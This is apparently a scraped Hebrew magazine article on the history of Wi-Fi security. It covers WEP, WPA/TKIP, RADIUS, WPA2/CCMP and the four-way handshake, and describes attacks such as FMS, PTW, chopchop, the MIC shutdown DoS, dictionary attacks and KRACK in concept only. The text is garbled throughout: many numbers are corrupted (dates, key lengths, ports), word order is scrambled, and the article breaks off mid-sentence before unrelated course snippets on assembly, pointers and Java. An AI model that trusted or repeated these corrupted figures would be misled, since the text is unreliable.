120 סינון יש שתי דרכים ל- AP לסנן את הלקוחות: 1. באמצעות כתובת MAC 2. באמצעות כתובת IP אם מאזינים לתעבורה ברשת, ניתן למצוא את כתובות ה- IP וה- MAC ששמורות אצל ה- AP. באמצעות זיוף הכתובות המקוריות של מכשיר לכתובות הללו ניתן לפרוץ לתעבורת הרשת. לכן שתי הדרכים הללו לא מספיקות. ניתן לקרוא על IP spoofing ועל MAC spoofing בקישורים הבאים: בפרוטוקול האבטחה WEP לדוגמה, ההצפנה מופעלת רק על תוכן המידע ולא על ה- Header של ההודעה ולכן ניתן להאזין לתעבורה ולגלות את הכתובות בקלות )שולח ויעד(. הצפנה כזכור, ישנן שתי שיטות להצפין מידע: 1. הצפנה סימטרית: הצפנה בה יש רק סוג אחד של מפתח הנקרא מפתח משותף. המפתח המשותף משמש להצפנה וגם לפענוח. 2. הצפנה א-סימטרית: הצפנה בה יש שני מפתחות: מפתח ציבורי ומפתח פרטי. המפתח הציבורי משמש להצפנה ואילו המפתח הפרטי משמש לפענוח. 220 WI-FI האבולוציה של אבטחת רשתות

121 WEP WEP הוא פרוטוקול אבטחה המבוסס על הצפנה סימטרית אשר מצפין את המידע. הלקוח הקולט משתמש באותו אלגוריתם על מנת לפענח את המידע. כפי שהוזכר, WEP מצפין רק את המידע עצמו ולא את את ה- Header ובכך משאיר את כתובות המוען והנמען בצורתן המקורית ולכן חשופות להאזנה. בתחילת שנת 9118 התגלו באלגוריתם מספר חולשות משמעותיות, וכתוצאה מכך, כיום, ניתן לפרוץ לו בנקל. תוך מספר חודשים החלו חוקרים לעבוד לפתרון החולשות הללו, ובשנת :911 הוחלף מנגנון WEP במנגנון הצפנה משופר.)Wi-Fi Protected Access) WPA לקריאה על פרוטוקול RC4 ועל תהליך ההצפנה בפרוטוקול WEP ניתן לקרוא במאמר מנגנון הצפנה WEP שנכתב ע"י הרצל לוי בגיליון הראשון של :DigitalWhisper ל- WEP יש היסטוריה ארוכה של חולשות ו-"תיקונים". ההתקפות נגד WEP התפתחו במשך הזמן, ותגובת התעשייה, במקום להשקיע בפתרונות אבטחה חדשים, היתה לנסות ולתקן את הפרוטוקול על מנת להקטין את הסיכוי להתקפה. חולשות בפרוטוקול WEP ישנן כמה חולשות עיקריות בפרוטוקול זה וקיימות מספר התקפות שמנצלות את החולשות הללו. ראשית, מכיוון שהפרוטוקול השתמש )עד אשר נוספה היכולת להשתמש במפתח בגודל בגודל 1; ביט, היו ביט( במפתחות ; קומבינציות ולכן ההתקפה הראשונה הייתה Brute-Force שבה מחפשים את כל הקומבינציות למפתחות. בעבר מציאת מפתח בשיטה זו היתה יכולה להימשך במשך חודשים, אך כיום מציאת מפתח ע"י Brute-Force עם מפתח בגודל 1; ביט יכולה להימשך כדקה בלבד! החולשה הבאה של פרוטוקול זה היא השימוש שלו ב- IV -ים חלשים שיוצר keystream -ים חלשים. בכך הוא מאפשר לתוקף לאסוף מספר פקטות מוצפנות עם ה- keysream -ים האלו, לנתח אותן, ולשחזר את המפתח הסודי בעזרת חישובים מתמטיים. מתקפה זו נקראת.FMS לקריאה על מתקפת FMS ניתן לפנות למאמר "המתמטיקה שמאחורי פרצות במנגנון "WEP - מאת ליהלי הכט ומתן ונגוש, בגיליון ה-? 81 של.Digital Whisper מתקפה נוספת שנבנית על אותו החיסרון נקראת מתקפת.PTW מתקפה זו היא בעצם שיפור של מתקפת FMS שבו המתקפה לא מסתמכת על IV -ים חלשים )מפני שהגיעו למשוואה חדשה עם פחות משתנים(, ולכן נזדקקים למספר קטן יותר של פקטות על מנת למצוא את המפתח. WI-FI האבולוציה של אבטחת רשתות 222

122 גם מתקפת ה- FMS וגם מתקפת ה- PTW צריכות לאסוף מספר גדול של פקטות על מנת להצליח למצוא את המפתח. על מנת לזרז את תהליך איסוף הפקטות, הרעיון הוא לגרום לייצור פקטות מצד ה- AP וכך ה-.ARP יאספו במהירות. סוג אחד של פקטות מתאימות לרעיון זה הוא פקטות IV -ים לאחר שגילו את החולשות הללו, ספקי WEP הבינו שפרוטוקול אבטחה זה "מתה". תוקף מיומן יכול לחדור למערכת בתוך מספר שעות או אפילו דקות על ידי שימוש בתכונות אלה. WPA פרוטוקול האבטחה WPA פותח על ידי The Wi-Fi Alliance והוצג בשנת :911 כתיקון זמני לפרצות האבטחה של WEP עד לסיום פיתוחו של.WPA2 פרוטוקול WPA היה עדכון תוכנה בלבד, תוך שימוש בחומרה הקיימת ברכיבים שהשתמשו עד אז ב- WEP, אך נדרש לתקן בעיות אבטחה ב- WEP כגון מפתחות הצפנה קצרים מדי ועוד. WPA משתמש ב- TKIP )עליו נסביר בהמשך( וצופן RC4 )שבו השתמשו גם ב- WEP ( על מנת להצפין את המידע ברשת. פירוט נוסף ניתן לראות ב- RFC5418. ל- WPA שני מצבים המתאימים לרשתות ביתיות ולמשרדים, WPA-PSK ו- WPA-Enterprise עליהם נסביר כעת, ולאחר מכן נסביר כיצד עובד TKIP באופן כללי: WPA - PSK )PreShared Key) PSK הנקרא גם WPA-Personal הוא מצב המיועד לאבטחת רשתות ביתיות בהן נקודת גישה אלחוטית המחברת בין המכשירים לספק האינטרנט. מצב זה משתמש בסיסמה באורך =>9 ביט );= ספרות בבסיס =8 או עד 9: תווי )ASCII שקובע יוצר הרשת, והוא זה שבוחר למי להעביר אותה. מצב זה פחות בטוח שכן רוב המכשירים שומרים את הסיסמה באופן אוטומטי, ובכך נאבדת השליטה על מי האדם המחובר. WPA - Enterprise מצב זה הנקרא גם WPA-802.1x מומלץ לשימוש ברשתות גדולות יותר הדורשות אבטחה חזקה יותר. אבטחה זו מתקבלת כתוצאה משימוש בשרת RADIUS )עליו נפרט בהמשך( לאימות משתמשים. שימוש בשרת זה מאפשר שליטה רבה יותר שכן ניתן לשלוט על מי מתחבר )אדם, שרת וכו'( בניגוד לרק איזה מכשיר מחובר. אבטחה זו שימושית כאשר מכשירים נאבדים או שרוצים לקחת מאדם ספציפי גישה לרשת. 222 WI-FI האבולוציה של אבטחת רשתות

123 ( RADIUS קיצור של (Remote Authentication Dial In User Service שרת בעזרתו WPA יכולה לשלוט על המשתמשים המחוברים לרשת, בניגוד ל,PSK- על המשתמשים להזדהות בעזרת הסיסמה או הפרטים האישיים שלהם (כגון שם, תעודת זהות, מספר עובד, סיסמה וכו'), ולא באמצעות הסיסמה המשותפת. שירות זה עושה שימוש בפרוטוקל UDP בשכבת התעבורה (.)RFC768 באמצעות שרת זה ניתן לקבל שירות AAA כלומר and Accounting Authorization,Authentication והוא משתמש בפורט 8?89 עבור אימות והרשאות ובפורט 8?8: עבור חשבונאות בעוד שבגרסאות מוקדמות יותר השתמשו בפורטים <;=.8=;=,8 כעת נסביר בקצרה את ראשי התיבות AAA ומשמעותן (הסבר נוסף על AAA ניתן למצוא כאן) : - Authentication אימות המשתמשים (כמו שיתואר בהמשך) - Authorization לאחר שמשתמש עובר את תהליך האימות בהצלחה, חשוב לשים לב להרשאות ( )Authorization למשתמשים שונים יש הרשאות שונות לביצוע פעולות שונות. כלומר לא כל המשתמשים יכולים לבצע פעולה מסוימת. ( Accounting או - )Auditing שמירת רשומות של מתי משתמשים שונים התחברו ולכמה זמן, איזה פעולות ביצעו, והאם פעולות מסוימות נחסמו עקב חוסר בהרשאה עבור המשתמש שהתחבר. במידע זה ניתן להשתמש למטרות שונות. כיצד התקשורת עם שרת ה RADIUS- מתבצעת?.1 המשתמש מבקש להתחבר לרשת, וה AP- מפנה אותו לשרת RADIUS.2 השרת מבקש את פרטיו של המשתמש, ומעביר אותם ל,RADIUS- המאמת אותם בעזרת מאגר נתונים (אותו יוצר הרשת בונה ומעדכן, או פנה את השרת לאחד קיים) ובו פרטי המשתמשים המורשים להשתמש ברשת. RADIUS.3 מחזיר לשרת תגובה : המשתמש מורשה (,)Access Accept המשתמש אינו מורשה ( Access )Reject או אתגר (.)Access Challenge כלומר המשתמש מתבקש להזין פרטים נוספים (קוד PIN או סיסמה נוספת) כמנגנון אבטחה נוסף אותו יכול יוצר הרשת להגדיר על מנת לאבטח משתמשים מסוימים במה גבוהה יותר. [ ] WI-FI האבולוציה של אבטחת רשתות גליון,111 אוקטובר

124 ( TKIP (Temporal key integrity protocol )RFC 5416) Temporal Key Integrity Protocol הוא חלק מפרוטוקול האבטחה של WPA והוא נוצר על מנת לשפר את האבטחה של, WEP שהתגלתה כחלשה מאוד עוד בתחילת,9118 שחוקרים מצאו מספר חולשות ב.RC4- תוספת זו היא מספר אלגוריתמים המהווים את ההבדל העיקרי בין WEP ל.WPA- ב TKIP- המאפיינים הבאים : - Re-keying Mechanism מנגנון הדואג לאבטחת המפתחות. - Michael Message Integrity Code משמש על מנת לוודא שהודעות לא שונו מרגע שליחתן מהמקור עד להגעתן ליעד. - Key Mixing Function פונקציה היוצרת את המפתחות בעזרתם מוצפן המידע. שימוש ב IV Sequence Number- לפקטות, כלומר למספר אותן ובכך לסמן את סדר הגעתן (. בניגוד ל - WEP המשתמש ב IV- ליצירת המפתחות בלבד) כעת נסביר על כל אחד מחלקים אלו וכיצד הם תורמים לאבטחת המידע. נתחיל ב Re-keying- Mechanism ונסיים בשימוש ב.IV Sequence Number- Re-Keying Mechanism זהו מנגנון היררכי הדואג לאבטחת המפתחות, ובכך, לאבטחת הצפנת חבילות המידע. מהם סוגי המפתחות בהיררכיה? המפתחות הזמניים (,)Temporal Keys כפי שניתן להסיק משמם, זמניים ודורשים עדכון באופן קבוע. המפתחות הזמנים הם המפתחות המשתתפים בשאר האלגוריתמים ב TKIP- והם מתחלקים לשני סוגים : מפתח מייקל ( - )Michael Key מפתח באורך ;= ביט המשתתף ב MIC- מפתח הצפנה באורך? 89 ביט המשתתף ב.Key Mixing Function- בכל "שיחה" בין רכיבים ברשת ישנם שני מפתחות כאלו לכל צד בשיחה, וסך הכל 4 מפתחות זמניים. מפתחות אלו נוצרים בכל פעם שחיבור נוצר בפעם הראשונה, ובכל פעם כשהחיבור נוצר לאחר התנתקות. מפתחות הצפנת המפתחות ( )Key Encryption Keys אלו המפתחות שתפקידם להצפין ולשמור על המפתחות הזמניים והפצתם. ישנם שני סוגי מפתחות כאלו, ולכל אחד מטרה שונה : להצפין את המפתחות הזמניים להגן על ההודעות המודיעות כי יש צורך לייצר מפתחות זמניים חדשים ( )Re-key messages מזיוף. WI-FI האבולוציה של אבטחת רשתות גליון,111 אוקטובר

125 כמו המפתחות הזמניים, מפתחות אלו דורשים עדכון בחיבור ראשוני או לאחר חידוש החיבור. מפתח המאסטר key( )Master כלול רק כשנעשה שימוש ב x.)WPA- Enterprise) מפתח מאסטר הוא מפתח שתפקידו להגן על הפצת מפתחות הצפנת המפתחות. כאשר משתמש מאומת על ידי שרת ה-.Master Key הוא מקבל,RADIUS על מפתחות המאסטר להיות שונים בין שיחה לשיחה,)Session( ובכך להגביר את האבטחה על כל המפתחות בהיררכיה: ]מקור: ] 225 WI-FI האבולוציה של אבטחת רשתות

126 Michael Message Integrity Code מטרה: למצוא פקטות שזויפו או שמידע בהם שונה. לכל )Message Integrity Code) MIC שלושה חלקים: מפתח הידוע רק לשולח ולנמען )K(, פונקציה הנקראת פונקציה מתייגת )שכן הערך שהיא מחזירה נראה תג -,)Tag ופונקציית אימות ( Verification T. ומחזירה ערך M, והמידע K הפונקציה מקבלת כקלט את המפתח.)Predicate כיצד האלגוריתם עובד? 0x5a ואחר כך באפסים על מנת שאורך המידע בפקטה מרופד )"padded"( בערך ההקסדצימלי ההודעה יתחלק למילים של 9: ביט. T. ערך ותחזיר ובמידע שב- packet,michael הנקרא bit ;= הפונקציה תשתמש במפתח באורך ]מקור: [ ההודעה נשלחת עם הערך T בצד המקבל, פונקציית האימות תקבל את המפתח K, המידע שהתקבל 'M והתג T. הפונקציה תחשב בעזרת הפונקציה המתייגת, 'M ו- K את 'T, ותשווה בין T ו-' T על מנת לראות אם המידע היה שונה מרגע שליחתו לרגע הגעתו. אם במשך שנייה מתגלות 9 פקטות שהמידע בהם שונה, המערכת מניחה כי היא תחת מתקפה. המערכת מוחקת את כל המפתחות שלה, ומנתקת את כל החיבורים שלה במשך דקה שלמה. בסיום הדקה המערכת תתחבר מחדש ותעדכן את כל המפתחות שלה. הסבר נוסף נותן לקרוא כאן. 226 WI-FI האבולוציה של אבטחת רשתות

127 Key Mixing Function אלגוריתם זה מתקיים בכל אחד מהרכיבים המחוברים לרשת, אך על מנת לחסוך במשאבים, השלב הראשון מתבצע רק לאחר החלפת המפתח הזמני. מטרת האלגוריתם היא לייצר מפתחות להצפנת הפקטות תוך כדי תיקון פרצות שהיו קיימות ב- WEP. לאלגוריתם שני שלבים, וכל אחד מהם משיג מטרה אחת, ובכך מתקן בעיית אבטחה אחת ב- WEP : שלב 1: דואג לכך שלכל רכיב המחובר לרשת יש מפתח שונה. כך שרכיבים שונים יצפינו את אותו המידע בדרכים שונות. שלב 9: מוודא שהמפתחות המתקבלים תמיד יהיו שונים מהIV, מכיוון שיותר קל לגלות את הIV ואם הוא יהיה זהה למפתח, יהיה קל לגלות גם את המפתח. בשלב הראשון זה מיוצר מפתח הביניים Key( )Intermediate בעזרת הפעלת פעולת ה- XOR על כתובת ה- MAC של הרכיב, ועל המפתח הזמני Key(.)Temporal את התוצאה שמים בתיבת החלפה, והערך שמתקבל הוא מפתח הביניים. )תיבת החלפה - Box )Substitution היא פונקציה בה משתמשים על מנת להסוות לעמעם את הקשר בין התוצאה שהתקבלה מפעולת ה- XOR ובין המפתח שנוצר בסוף. עוד ניתן לקרוא כאן: כיצד מושגת המטרה? שילוב כתובת ה- MAC השונה מרכיב לרכיב עם המפתח הזמני המשותף לכולם מבטיח שלכל רכיב המחובר לרשת יתקבל מפתח ביניים אחר, שכן לכל כרטיס רשת כתובת MAC שונה. בשלב השני, ה- number Sequence של הפקטה מוצפן באמצעות מפתח הביניים שהתקבל בשלב הקודם.הערך שהתקבל הוא ה- Key Per Packet ואורכו?89 ביט. ההצפנה מבטיחה שה- Sequence Number תמיד יהיה שונה מהמפתח שהתקבל. בנוסף, השימוש ב- Number Sequence מבטיח שהמפתח להצפנת כל פקטה יהיה שונה. בתרשים זה מתואר כל התהליך, שלב 8 ו- 9 יחדיו: ]מקור: [ 227 WI-FI האבולוציה של אבטחת רשתות

128 שימוש חדש ב- Vector Initialization WPA משתמש בשדה ה- IV ב- WEP כ- Number Sequence על מנת למנוע הגעת פקטות בסדר לא נכון והתקפות חוזרות Attacks(.)Replay כיצד עובד ה- Number?Sequence כאשר מפתחות חדשים מיוצרים, ה- Number Sequence מתאפס בשני הצדדים של השיחה )שולח, נמען(. לכל פקטה אותה הוא שולח, מעלה הצד השולח את ה- Number Sequence ב- 8, וכל פקטה שהצד השני מקבל, הוא גם מעלה את ה- Number Sequence ב- 8, זה המספר של הפקטה אותה הוא מצפה לקבל כאשר מגיעה פקטה שהמספר שלה קטן או שווה למספר הפקטה אותה מצפה הנמען לקבל, היא מוגדרת פקטה פגומה Order( )Out of פקטות פגומות נזרקות חולשות ב- WPA למרות ש- WPA הוא שיפור לעומת,WEP גם לו התגלו חולשות רבות שממומשות בהתקפות הבאות, ובעוד מתקפות נוספות. ניתן לבצע מתקפה המבוססת על chopchop על,WEP עם שינויים המותאמים למנגנון ה- IV החדש וה- MIC ב- WPA ו- TKIP, על מתקפה זו ניתן לקרוא בקישור הבא: IntensiveProjects-M1-SCCI-Reports/GuestLefebvre.pdf מתקפה זו מנצלת את מנגנון ה- MIC.WPA shutdown attack מתקפה נוספת היא מתקפה הנקראת על מנת למנוע שירות מלקוחות )מתקפות אלו נקראות גם )DoS - Denial of Service לגיטימיים גישה לרשת. על מנת לבצע זאת, התוקף שולח בכוונה לפחות 9 פקטות בעלות ערך MIC שגוי במשך שנייה, ובכך גורם להשבתת הרשת למשך דקה נוספת, ובכך מונה מכל משתמשי הרשת גישה. מתקפות נוספות על WPA כגון,PSK dictionary attack בה משתמשים במילון של מילים ובטויים נפוצים ואותן מנסים עד שמוצאים את המפתח ועוד ניתן למצוא בקישור הבא: WI-FI האבולוציה של אבטחת רשתות

129 WPA2 WPA2 ידוע גם כ i.911;-IEEE יורשו של ה- WPA. משתמש ב- CCMP אשר נפרט עליו בהמשך במקום ב- TKIP על מנת להשיג אבטחה נוספת. מחויב בכל התקני ה- Wi-Fi המאושרים מאז =911. תקן זה משתמש באימות טוב ואמיו יותר על מנת להתחבר. כמו ב- WPA גם ב- WPA2 יש שני מצבים: PSK ו-. Enterprise WPA2 משתמש בהצפנה של?89 ביט וסיסמאות על מנת לשמור על פרטיות המידע. לא ניתן להשתמש בחתימות דיגיטליות במקרה זה במקום בסיסמאות מכיוון שהסיסמאות משמשות בתור מפתחות להצפנה של כל חבילת מידע שעוברת ברשת. עבור הסיסמאות ניתן להחליף סיסמה בכל חבילה אך בחתימות דיגיטליות המפתח קבוע, ואז יכולות להיווצר התנגשויות )לכמה חבילות מידע יש את אותו ערך גיבוב או מזהה זהה(. להרחבה על התנגשויות: (המחשב_מדעי_)התנגשות/ איך WPA2 עובד? אפשר להקביל את WPA2 לשני אנשים שנפגשים בחדר עמוס באנשים, מחליפים סיסמא ולאחר מכן לוחצים ידיים בצורה מיוחדת כדי לבסס ביטחון משני הצדדים. לאחר מכן הם יכולים לדבר אחד עם השני בעזרת שפה מיוחדת ששניהם מפענחים באמצעות מפתח שיש רק לשניהם. לכן, גם אם מישהו ינסה להסתכל על הודעות בשיחה בין שני האנשים הללו, הוא לא יוכל להבין את תוכן ההודעה. Four Way Handshake: לפני שנתאר את תהליך "לחיצת היד המרובעת" נתחיל בהסבר קצר אודות מספר מושגים אשר נדרשים לשם הבנת התהליך: )Pre Shared Key) PSK - ל- AP וללקוח יש מפתח פרטי שנקרא PSK שניתן לכל אחד מהצדדים עוד לפני תחילת לחיצת הידיים )בשלב החלפת הסיסמאות(. )Pairwise MasterKey) PMK - במקרה שבו אנו נשתמש ב- Enterprise,WPA2 - יהיה מפתח נוסף שנקרא כ- PMK. ישמש ה- PSK WPA2 - אם משתמשים ב- Personal.PMK - Nonce מחרוזת רנדומלית שמשומשת בתהליך על מנת לבדוק את אמינות המפתחות של שני הצדדים. מטרתו היא להגביר את הרנדומיזציה בתהליך. משתמשים בכל מחרוזת Nonce פעם אחת בלבד. שימוש 229 WI-FI האבולוציה של אבטחת רשתות

130 חוזר יכול לגרור להתקפות כגון Replay Attack ועוד. כאשר מחרוזת ה- Nonce נקרא לה SNonce וכאשר היא נשלחת מה- AP ללקוח נקרא לה.ANonce נשלחת מהלקוח ל- AP כתובות ה- MAC ושתי ערכי ה- Nonce שני על ידי ה- PMK, נוצר ה- PTK - )Pairwise Transient Key) PTK של הלקוח וה- AP. על המחרוזת שנוצרת מחיבור כלל המחרוזות הנ"ל )בסדר הזה( מפעילים Pseudo Random Function לטובת יצירת HASH שבו נוכל להשתמש. multicast זהו מפתח שמשומש במקרים שבהם נרצה לשלוח הודעות - )Groupwise Temporal key) GTK או.broadcast מפתח זה ניתן ללקוח מהשרת בסוף תהליך האימות )בשלב : של לחיצת הידיים שנראה עוד מעט(. )Message Authentication Code) MAC - זהו קונספט לאימות מסרים עם גוף כלשהו שחלקנו איתו מפתח משותף עוד לפני. בעזרת המפתח המשותף, מצפינים מחרוזת כלשהי. בהודעת ה- MAC, תהיה המחרוזת הרגילה והמוצפנת. כך אם לצד שמקבל את ההודעה יש את המפתח המבוקש, הוא יוכל להצפין את המידע ולהשוות אותו עם המחרוזת המוצפנת. אם התוצאה זהה, הצד שקיבל את ההודעה יכול לדעת שלצד השולח יש את המפתח המבוקש. המושג MIC שבו השתמשנו גם בתיאור של Message Internal )Code) WPA מתאר את אותו הדבר כמו MAC וזהו רק מושג שמשתמשים בו על מנת לא להתבלבל עם כתובות MAC מעולם התקשורת. בהמשך המאמר נשתמש במושג MIC בהקשר זה. בעזרת שימוש בפונקציות האימות הללו, ניתן לאמת את האותנטיות הן של המידע שלא נפגם וזהה למידע המקורי והן של השולח. כעת נתאר כיצד עובד התהליך: ה- AP שולח ללקוח.ANonce עכשיו ללקוח יש את כל מה שהוא צריך על מנת ליצור.PTK עכשיו, הלקוח שולח ל- MIC,AP מוצפן על ידי מפתח ה- PTK, ואת ערך ה- SNonce. עכשיו ה- AP קיבל את כל מה שדרוש לו על מנת ליצור.PTK בעזרתו, הוא יצפין את הערך שקיבל בהודעת ה- MIC וישווה אותו לערך המוצפן בהודעה, על מנת לוודא שללקוח ששלח את ההודעה יש PTK זהה. עכשיו, על מנת שהלקוח יוכל לסמוך על ה- AP ולוודא שיש לו את אותו מפתח PTK כמו לו, ה- AP ישלח ללקוח את ה- GTK בהודעת MIC בעזרת.PTK.ACK הלקוח עושה אימות להודעת ה- MIC שהגיעה אליו. אם הכל עבד בסדר, הלקוח שולח ל- AP הודעת אחרי שה- AP התקינה את ה- PTK, היא יוצרת בעזרתו שלושה מפתחות חדשים: TK (Temporal Key) ו- KEK (Key Encryption Key),KCK (Key Confirmation Key) 230 WI-FI האבולוציה של אבטחת רשתות

131 בשני המפתחות הראשונים ( )KEK,KCK משתמשים בהצפנת תהליכי האימות של לחיצת הידיים, וב TK- משתמשים בהצפנת הודעות ה,CCMP- שעליו נסביר בהמשך. ( CCMP קיצור של Counter Mode with Cipher Block Chaining Message Authentication )Code Protocol זהו פרוטוקול הצפנה שהוא חלק מתקן ה i? עבור רשתות אלחוטיות מקומיות (,)WLAN במיוחד עבור אלו שמשתמשות בטכנולוגיית.WiMax האלגוריתם של CCMP מבוסס על תקן ההצפנה המתקדם של הממשל הפדראלי בארה"ב (.)AES זהו תקן שנקבע במקור עבור מידע רגיש אך לא מסווג. ההבדל העיקרי בין CCMP לבין שאר צורות ההצפנה של התקנים אלחוטיים, זה השימוש בהצפנה סימטרית מסוג בלוק ולא מסוג זרם, עליהם נסביר בהמשך. מה ההבדל? ההבדל בין שתי צורות ההצפנה הללו הוא שלמרות ששיטת הזרם מהירה בערך פי,9 זהו לא הבדל משמעותי, ושיטת הבלוקים נחשבת בטוחה ועמידה יותר, ביחס לזרם שנחשבת חלשה ונשברת בתדירות גבוהה. הסבר מפורט יותר ניתן למצוא בקישור הבא : ciphers WI-FI האבולוציה של אבטחת רשתות גליון,111 אוקטובר

132 כעת נפרט אודות תהליך ההצפנה: תהליך ההצפנה ב- CCMP : צד מספר 8 )שולח ההודעה( מקבל הודעה לשליחה מסוג MPDU - Media Access Control Protocol Data Unit )הודעה שמכילה כמה הודעות קטנות בעלות "תת,"Headers שכולן נשלחות לאותו המקום )היעד(, ולכן נשלחות ביחד בתור פקטה אחת עם Header משותף. כך אם אחת מהפקטות בתור הודעת ה- MPDU נהרסה בדרך, ניתן לדעת איזו(. נתייחס אל "תת ה- Headers " בתור,Headers והם ימצאו בהודעה. נשמור את כתובת ה- MAC שאליה נשלחת ההודעה )כתובת ה- MAC של צד 9 )מקבל ההודעה((..1 דוגמה להודעת :MPDU ]מקור: ] להרחבה על הודעות :MPDU מה- headers נוצר MIC באורך = ביט בעזרת הצפנת AES CBC Mode )נסביר עליה למטה(. נוצר Header ריק של הודעת.CCMP ה- MIC מחושב על ה- Header יחד עם Nonce )של צד 8( על מנת למנוע שידור חוזר. ה- MIC והמידע של הודעת ה- MPDU מצורפים ל- DATA של הודעת ה- CCMP. ה- MIC וה- Data של ההודעה עוברים ביחד הצפנה באמצעות מפתח ה- TK מלחיצת הידיים המרובעת. בשלב זה ממלאים את ה- Header של הודעת ה- CCMP. כתובת ה- MAC המקורית מצורפת ל- Headers החדשים שלא מוצפנים יחד עם המידע המוצפן. ההודעה משודרת. מוסיפים להודעה את ה- PK של הודעת ה- MPDU, ומצפינים את הכל ביחד ב- CTR )נסביר על צורת ההצפנה הזו למטה( WI-FI האבולוציה של אבטחת רשתות

133 חשוב להגיד שבכל השלבים ה- Header של הודעת ה- CCMP נשאר גלוי. יש לו 9 מטרות עיקריות: למנוע שידור מחדש על ידי צירוף של Number Packer הידוע גם כ- PN )באורך של?; ביט(. במקרה שבו מדובר בהודעה קבוצתית ישנו דגל שיאמר ללקוח בעזרת איזה מפתח עליו לפענח את ההודעה. ]מקור[ כעת נסביר על אופני ההפעלה CBC ו- CTR : בקריפטוגרפיה, אופן הפעלה Operation( )Mode Of מתייחס לאופן שבו אלגוריתם צופו בלוקים מגדיר כיצד להפעיל צופן בלוקים סימטרי דטרמיניסטי )אלגוריתם שרץ באופן צפוי וניתן לחיזוי( להצפנת טקסט-גלוי באורך שעולה על אורך הבלוק שהצופן מסוגל להצפין בבת אחת. לפי ההגדרה, הצופן ימיר תמיד בלוק קלט זהה לבלוק טקסט-מוצפן זהה. 9 מאופני ההפעלה הבסיסיים ביותר הם CBC ו- CTR, ועליהם נסביר כעת. לפני שנדבר על,CBC נסביר על וקטור אתחול: וקטור אתחול הוא מספר אקראי שמשמש לאתחול תהליך ההצפנה בחלק ממצבי ההפעלה של צופן בלוקים. המספר הזה יכול להיות קבוע, אקראי, חד פעמי או מספר רץ. המספר הזה לא חייב להיות סודי ואין לראות בו מפתח הצפנה. לרוב וקטור האתחול אכן לא יהיה סודי, אך לפעמים הוא יוצפן על מנת לוודא שלא היה בו שינוי כחלק ממתקפה על המערכת. CBC קיצור של Cipher-Block Chaining )שרשור בלוקים מוצפנים(: אופן ההפעלה הזה מוסיף להצפנה וקטור אתחול באורך n ביט. מחברים כל בלוק טקסט בחיבור XOR לפני שהוא מוצפן לבלוק הקודם לו שכבר מוצפן, ואז מצפינים את הכל ביחד. וקטור האתחול פה הוא אקראי וחד פעמי. הוא אינו סודי ולא נחשב מפתח הצפנה. ]מקור: /אופן_הפעלה_של_צופן_בלוקים#אופן_ CBC [ 233 WI-FI האבולוציה של אבטחת רשתות

134 המצב השני אותו נסביר הינו CTR.CTR הינו קיצור של :Counter Mode צופן זה משנה את התנהגות צופן הבלוקים לצופן זרם על ידי יצור זרם מפתח מתוך המונה. במצב זה מצפינים את המונה פעם אחר פעם, כאשר בכל שלב המונה משתנה ותוצאת כל הצפנה מהווה חלק מזרם המפתח איתו מצפינים את הבלוק הבא של המידע בחיבור.XOR בדרך זו אין מגבלה על גודל הבלוק. בנוסף, שינוי המונה בכל בלוק יכול להיעשות על ידי פונקציה נוחה ופשוטה. [מקור / : אופן_הפעלה_של_צופן_בלוקים # אופן_ ]CBC על מנת להרחיב על שני אופני ההפעלה הללו : טכנולוגיית :)Worldwide Interoperability for Microwave Access) WiMax טכנולוגיה להעברת מידע באופן אלחוטי ומהיר על פני שטח גדול. CCMP מציעה טכנולוגייה משופרת, שממזערת התקפות חוזרות. בנוסף CCMP שומרת על המידע, ועל אמינותו. יש הרשאות לשינוי המידע וכך הפרוטוקול הזה שומר על המידע ועל אמינותו לאורך כל הדרך. כלל השיפורים באבטחה אצל CCMP ביחס ל TKIP- ו RC4- דורשים כוח עיבוד חזק יותר, שמתקבל על ידי עדכון או החלפת התוכנה. חולשות ב WPA2- באוגוסט >, 918 התגלה כי פורץ יכול להסתכל על מידע העובר בהודעה בפרוטוקול בלי לפרוץ למשתמש של אחד המשתמשים ואפילו בלי למצוא את מפתח ההצפנה של אחד המשתמשים. פריצה מסוג זה מנצלת את הבעיה שנמצאת בלחיצת הידיים, שמאפשרת את הכניסה ללא הסיסמה של המשתמש וללא מפתח הפענוח ונקראת (.KRaCK (Key Reinstallation Attacks איך היא עובדת? בשלב שבו ה AP- שולח לנקודת הקצה את ה,GTK- ה AP- לא יכול להמשיך בשיחה עד שהוא מקבל הודעת, ACK כי הוא לא יכול להיות בטוח שלו ולנקודת הקצה יש את אותו המפתח. מכיוון WI-FI האבולוציה של אבטחת רשתות גליון,111 אוקטובר

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים עליו כרגע )A מצביע עליו(. יש שני סוגי פקודות, פקודת

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 6: כתובות ומצביעים 1 תוכנייה מצביעים מצביעים ומערכים, אריתמטיקה של מצביעים 2 3 מצביעים תזכורת- כתובות זיכרון הזיכרון כתובת התא #1000 #1004 #1008 ערך השמור בתא תא 10-4 לא מאותחל

קרא עוד

מבוא לאסמבלי

מבוא לאסמבלי 1 ברק גונן תוכנית שבנויה מחלקי קוד נפרדים המשולבים זה בזה מאפיינים: נקודת כניסה אחת נקודת יציאה אחת מבצעים פעולה מוגדרת נקראים פרוצדורות ברק גונן 2 קוד קצר יותר לא צריך לחזור על חלקי קוד שאלה למחשבה: האם

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק ב - מבוא לקריפטוגרפיה שיעור 5 (offset מונחים בסיסיים צופן קיסר (היסט,.1.2 1 Today

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תכנות מתקדם בשפת Java אוניברסיטת תל אביב 1 תוכנה 1 תרגול 3: עבודה עם מחרוזות )Strings( מתודות )Methods( 1 תכנות מתקדם בשפת Java אוניברסיטת תל אביב 2 מחרוזות )STRINGS( 3 מחרוזות String s = Hello ; מחרוזות

